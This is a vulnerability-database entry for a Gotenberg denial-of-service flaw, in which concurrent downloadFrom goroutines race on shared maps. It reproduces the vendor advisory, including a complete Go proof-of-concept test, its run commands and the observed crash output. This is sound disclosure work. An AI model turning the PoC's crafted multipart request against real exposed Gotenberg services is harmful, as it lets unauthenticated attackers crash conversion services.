CVE-2026-45742
highpriority · track · 0EPSS 0.007 · 53 %ileUSEPSS · scored 2026-10-27
Gotenberg is a Docker-powered stateless API for PDF files. From 8.10.0 until 8.33.0, the newContext function in pkg/modules/api/context.go starts one errgroup.Go goroutine for each multipart downloadFrom entry and allows those goroutines to concurrently write to the shared ctx.files, ctx.diskToOriginal, and ctx.filesByField maps and slices. Go maps and slices are not safe for concurrent mutation, so a crafted multipart request containing many downloadFrom entries can trigger a data race and terminate the process with a fatal concurrent map writes runtime error. The default configuration enables downloadFrom and disables authentication, allowing an unauthenticated remote attacker to crash an exposed conversion service and cause a denial of service. This issue is fixed in version 8.33.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
- Go github.com/gotenberg/gotenberg/v88.10.0 → 8.33.0osvUSpkg:golang/github.com/gotenberg/gotenberg/v8
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-vp73-vjw8-8f32Gotenberg has a Race Condition via Multipart `downloadFrom` Handling2026-05-29ghsa · osvUS
### Summary Gotenberg is vulnerable to a remote denial of service in multipart `downloadFrom` handling. A multipart request containing multiple `downloadFrom` entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with `fatal error: concurrent map writes`. In the default configuration, `downloadFrom` is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker. ### Details The issue is in `pkg/modules/api/context.go`. `newContext` parses multipart requests and processes the `downloadFrom` form field before the route handler runs. For each `downloadFrom` entry, it starts a goroutine via `errgroup.Go()`: - `pkg/modules/api/context.go:221` Each goroutine downloads a file and then writes to request context maps shared by all goroutines: - `ctx.files[filename] = path` - `ctx.diskToOriginal[path] = filename` - `ctx.filesByField[...] = append(...)` Affected lines in current `main`: - `pkg/modules/api/context.go:395` - `pkg/modules/api/context.go:396` - `pkg/modules/api/context.go:401` Go maps and slices are not safe for concurrent writes. A crafted multipart request with many `downloadFrom` entries can therefore trigger a runtime crash. The vulnerable `downloadFrom` feature was introduced in commit `f2b6bd3d`. The first tagged release containing this code appears to be `v8.10.0`. ### PoC The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access. Run from the repository root: cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc package api import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time" "github.com/labstack/echo/v4" "github.com/gotenberg/gotenberg/v8/pkg/gotenberg" ) func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64 var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close() dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } } payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) } body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) } req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType()) echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, } ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel() if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go Expected result with the race detector: WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 WARNING: DATA RACE .../pkg/modules/api/context.go:396 WARNING: DATA RACE .../pkg/modules/api/context.go:401 Running the same PoC without `-race` also demonstrates practical process termination: GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20 Observed result: fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api ### Impact This is a remote denial-of-service vulnerability. Any deployment that exposes multipart conversion endpoints with `downloadFrom` enabled is affected. In the default configuration, `downloadFrom` is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination. The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.
- GO-2026-5669Gotenberg has a Race Condition via Multipart `downloadFrom` Handling in github.com/gotenberg/gotenberg2026-06-25vendor · osvUS
Gotenberg has a Race Condition via Multipart `downloadFrom` Handling in github.com/gotenberg/gotenberg
also known as (2)
Other names and identifiers for this entity.
- GHSA-vp73-vjw8-8f32osv
- GO-2026-5669osv
sources
Which sources assert this record, and when.
references (3) nvd
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan